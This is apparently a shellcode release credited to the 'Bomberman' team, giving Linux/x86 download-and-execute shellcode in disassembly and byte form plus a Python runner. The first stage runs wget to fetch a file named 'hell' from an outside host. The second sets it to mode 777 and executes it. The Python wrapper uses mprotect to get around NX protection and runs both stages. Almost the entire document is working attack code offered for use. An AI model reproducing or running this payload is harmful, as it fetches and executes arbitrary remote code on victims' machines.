129 lines
No EOL
4.2 KiB
C
129 lines
No EOL
4.2 KiB
C
Linux/x86 Download&Execute
|
|
|
|
|
|
------WE ARE BOMBERMANS----
|
|
#Greetz : Bomberman(Leader)
|
|
#Author : B3mB4m
|
|
#Just the two of us LOL.
|
|
|
|
|
|
Info!
|
|
This shellcode has two part.Because when using fork in asm, ocurrs problems in shellcode.
|
|
So you can use multiprocessing to do this.
|
|
If you dont want problem while running shellcodes.
|
|
I did not calculate len bytes.Because its completely depend url length.
|
|
|
|
TESTED ON : Ubuntu 14.04
|
|
|
|
|
|
/*
|
|
The NX Bit prevents random data being executed on modern processors and OSs.
|
|
To get around it, call mprotect.
|
|
You should also define your shellcode as a binary instead of a character string.
|
|
|
|
-By Philipp Hagemeister
|
|
|
|
Emmy goes to Philipp Hagemeister ! ! (clap clap clap clap)
|
|
Special thanks :) ..
|
|
*/
|
|
|
|
;https://github.com/b3mb4m/Shellcode/blob/master/Auxiliary/convertstack.py
|
|
;Use it convert string to stack.
|
|
|
|
|
|
#Remote file download#
|
|
|
|
08048060 <.text>:
|
|
8048060: 31 c0 xor %eax,%eax
|
|
8048062: 50 push %eax
|
|
8048063: 68 68 65 6c 6c push $0x6c6c6568
|
|
8048068: 68 62 34 6d 2f push $0x2f6d3462
|
|
804806d: 68 2f 62 33 6d push $0x6d33622f
|
|
8048072: 68 6d 2f 2f 2f push $0x2f2f2f6d
|
|
8048077: 68 73 2e 63 6f push $0x6f632e73
|
|
804807c: 68 78 69 6d 61 push $0x616d6978
|
|
8048081: 68 33 2e 6d 65 push $0x656d2e33 ;3.meximas.com/b3mb4m/hell
|
|
8048086: 89 e1 mov %esp,%ecx
|
|
8048088: 50 push %eax
|
|
8048089: 68 77 67 65 74 push $0x74656777
|
|
804808e: 68 62 69 6e 2f push $0x2f6e6962
|
|
8048093: 68 75 73 72 2f push $0x2f727375
|
|
8048098: 68 2f 2f 2f 2f push $0x2f2f2f2f
|
|
804809d: 89 e3 mov %esp,%ebx
|
|
804809f: 50 push %eax
|
|
80480a0: 50 push %eax
|
|
80480a1: 51 push %ecx
|
|
80480a2: 53 push %ebx
|
|
80480a3: 89 e1 mov %esp,%ecx
|
|
80480a5: b0 0b mov $0xb,%al
|
|
80480a7: cd 80 int $0x80
|
|
80480a9: 31 c0 xor %eax,%eax
|
|
80480ab: fe c0 inc %al
|
|
80480ad: cd 80 int $0x80
|
|
|
|
|
|
#Download&Chmod777&Execute
|
|
|
|
08048060 <.text>:
|
|
8048060: 31 c0 xor %eax,%eax
|
|
8048062: 31 c9 xor %ecx,%ecx
|
|
8048064: 50 push %eax
|
|
8048065: 68 68 65 6c 6c push $0x6c6c6568 ;file name(hell)
|
|
804806a: b0 0f mov $0xf,%al
|
|
804806c: 89 e3 mov %esp,%ebx
|
|
804806e: 66 b9 ff 01 mov $0x1ff,%cx
|
|
8048072: cd 80 int $0x80
|
|
8048074: 31 c0 xor %eax,%eax
|
|
8048076: 50 push %eax
|
|
8048077: 89 e2 mov %esp,%edx
|
|
8048079: 53 push %ebx
|
|
804807a: 89 e1 mov %esp,%ecx
|
|
804807c: b0 0b mov $0xb,%al
|
|
804807e: cd 80 int $0x80
|
|
|
|
|
|
|
|
Than lets back python.
|
|
|
|
|
|
#!/usr/bin/python
|
|
|
|
import ctypes
|
|
import multiprocessing
|
|
import time
|
|
|
|
|
|
def download(firstone="Capture"):
|
|
if firstone != "Capture":
|
|
#Download codes.
|
|
shellcode_data = (b"\x31\xc0\x50\x68\x68\x65\x6c\x6c\x68\x62\x34\x6d\x2f\x68\x2f\x62"
|
|
b"\x33\x6d\x68\x6d\x2f\x2f\x2f\x68\x73\x2e\x63\x6f\x68\x78\x69\x6d\x61\x68\x33\x2e"
|
|
b"\x6d\x65\x89\xe1\x50\x68\x77\x67\x65\x74\x68\x62\x69\x6e\x2f\x68\x75\x73\x72\x2f"
|
|
b"\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x50\x51\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xfe"
|
|
b"\xc0\xcd\x80")
|
|
else:
|
|
time.sleep(30)#Time delay, depend ur file size.
|
|
shellcode_data = (b"\x31\xc0\x50\x68\x68\x65\x6c\x6c\xb0\x0f\x89\xe3\x66\xb9\xff\x01"
|
|
b"\xcd\x80\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
|
|
#Chomd777 and execute it.
|
|
shellcode = ctypes.c_char_p(shellcode_data)
|
|
function = ctypes.cast(shellcode, ctypes.CFUNCTYPE(None))
|
|
|
|
addr = ctypes.cast(function, ctypes.c_void_p).value
|
|
libc = ctypes.CDLL('libc.so.6')
|
|
pagesize = libc.getpagesize()
|
|
addr_page = (addr // pagesize) * pagesize
|
|
for page_start in range(addr_page, addr + len(shellcode_data), pagesize):
|
|
assert libc.mprotect(page_start, pagesize, 0x7) == 0
|
|
function()
|
|
|
|
|
|
for x in xrange(0, 2):
|
|
if x == 0:
|
|
first = multiprocessing.Process(target=download, args=("KnockKnock",))
|
|
else:
|
|
first = multiprocessing.Process(target=download)
|
|
first.start()
|
|
|
|
|
|
#Bomberman Team presented !! |